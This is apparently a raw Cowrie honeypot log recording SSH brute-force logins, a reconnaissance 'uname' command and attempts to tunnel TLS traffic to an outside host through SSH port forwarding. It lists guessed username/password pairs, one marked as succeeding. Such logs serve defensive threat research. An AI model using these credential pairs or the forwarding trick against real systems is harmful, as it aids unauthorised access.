{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:52.030269Z","src_ip":"123.27.168.40","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf7\\x13y\\xe7Z@\\xec\\xbbd\\xc8\\xf2\\x1e\\x12PM/\\x9e\\xe3H'C\\xaf\\xcc(\\xcd\\x9d&\\xde\\x8d\\xc4\\xd9\\x81 \\xdb\\xd6\\x80O\\xf3R\\x86\\xc6\\x80\\x1b\\xf0\\xcc\\x1e\\x0f\\x83}\\x92~\\xd5\\xcd\\xfb\\xf4U\\\\\\x1an\\x19\\xc1\\x13Z1j\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbeD\\x16\\x0c\\xafb\\xdf\\x8c95K T\\x158.\\xd8!\\x1aiz7\\xb9\\x8e\\x14\\xc6\\xaa\\xa9A\\xa1]S\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf7\\x13y\\xe7Z@\\xec\\xbbd\\xc8\\xf2\\x1e\\x12PM/\\x9e\\xe3H'C\\xaf\\xcc(\\xcd\\x9d&\\xde\\x8d\\xc4\\xd9\\x81 \\xdb\\xd6\\x80O\\xf3R\\x86\\xc6\\x80\\x1b\\xf0\\xcc\\x1e\\x0f\\x83}\\x92~\\xd5\\xcd\\xfb\\xf4U\\\\\\x1an\\x19\\xc1\\x13Z1j\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbeD\\x16\\x0c\\xafb\\xdf\\x8c95K T\\x158.\\xd8!\\x1aiz7\\xb9\\x8e\\x14\\xc6\\xaa\\xa9A\\xa1]S\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:52.032902Z","src_ip":"123.27.168.40","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:52.284837Z","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:52.530971Z","src_ip":"123.27.168.40","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03t\\x0e\\x80\\xae\\x9f\\x91\\xbc \\x16$\\xac\\x017\\xc3\\x82\\x9b]*,@\\xb7]\\x05O\\x9e\\xd8\\x91\\x00\\xde\\xcay\\x07 ^d(\\x081\\xdc\\x91I\\x85[\\xf3a\\xffDh\\xd6\\xcb\\x99\\xc7\\xa7\\xf1\\x9d2\\x1f\\xba<\\xa7l\\xf1\\x84\\xec\\xec\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 UE\\xa5UZ\\xd9!U\\xd2\\xca\\xd7%P\\xd2\\xf3\\xf3\\xf0\\xb1\\x9b6_\\xd4m0\\x0cW\\xa1\\xbaO\\xc3\\xb7J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03t\\x0e\\x80\\xae\\x9f\\x91\\xbc \\x16$\\xac\\x017\\xc3\\x82\\x9b]*,@\\xb7]\\x05O\\x9e\\xd8\\x91\\x00\\xde\\xcay\\x07 ^d(\\x081\\xdc\\x91I\\x85[\\xf3a\\xffDh\\xd6\\xcb\\x99\\xc7\\xa7\\xf1\\x9d2\\x1f\\xba<\\xa7l\\xf1\\x84\\xec\\xec\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 UE\\xa5UZ\\xd9!U\\xd2\\xca\\xd7%P\\xd2\\xf3\\xf3\\xf0\\xb1\\x9b6_\\xd4m0\\x0cW\\xa1\\xbaO\\xc3\\xb7J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:52.534372Z","src_ip":"123.27.168.40","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21","message":"login attempt [admin/21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:52.906246Z","src_ip":"91.92.40.36","session":"4ea793254903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:52.915490Z","src_ip":"123.27.168.40","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:54.107937Z","src_ip":"91.92.40.36","session":"4ea793254903","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63340,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb71f36fc29a","protocol":"ssh","message":"New connection: 91.92.40.36:63340 (159.203.135.109:22) [session: bb71f36fc29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:58.564837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:58.834010Z","src_ip":"91.92.40.36","session":"bb71f36fc29a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:58.837582Z","src_ip":"91.92.40.36","session":"bb71f36fc29a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@321","message":"login attempt [admin/admin@321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:00.940610Z","src_ip":"91.92.40.36","session":"bb71f36fc29a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.76979637145996,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:01.423593Z","src_ip":"172.81.62.90","session":"af764c715730","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:02.161358Z","src_ip":"91.92.40.36","session":"bb71f36fc29a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:02.167040Z","src_ip":"91.92.40.36","session":"bb71f36fc29a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:02.879352Z","src_ip":"91.92.40.36","session":"bb71f36fc29a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:02.884105Z","src_ip":"91.92.40.36","session":"bb71f36fc29a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63368,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0a8d2191618","protocol":"ssh","message":"New connection: 91.92.40.36:63368 (159.203.135.109:22) [session: b0a8d2191618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:05.141848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:05.904591Z","src_ip":"91.92.40.36","session":"b0a8d2191618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:05.908193Z","src_ip":"91.92.40.36","session":"b0a8d2191618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":45098,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc2fa00154fa","protocol":"ssh","message":"New connection: 103.149.28.157:45098 (10.17.0.5:22) [session: dc2fa00154fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:08.516696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:08.522342Z","src_ip":"103.149.28.157","session":"dc2fa00154fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:08.783973Z","src_ip":"103.149.28.157","session":"dc2fa00154fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"160886","message":"login attempt [root/160886] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:09.571682Z","src_ip":"103.149.28.157","session":"dc2fa00154fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wwws","password":"wwws123","message":"login attempt [wwws/wwws123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:39:09.890530Z","src_ip":"91.92.40.36","session":"b0a8d2191618","protocol":"ssh"}
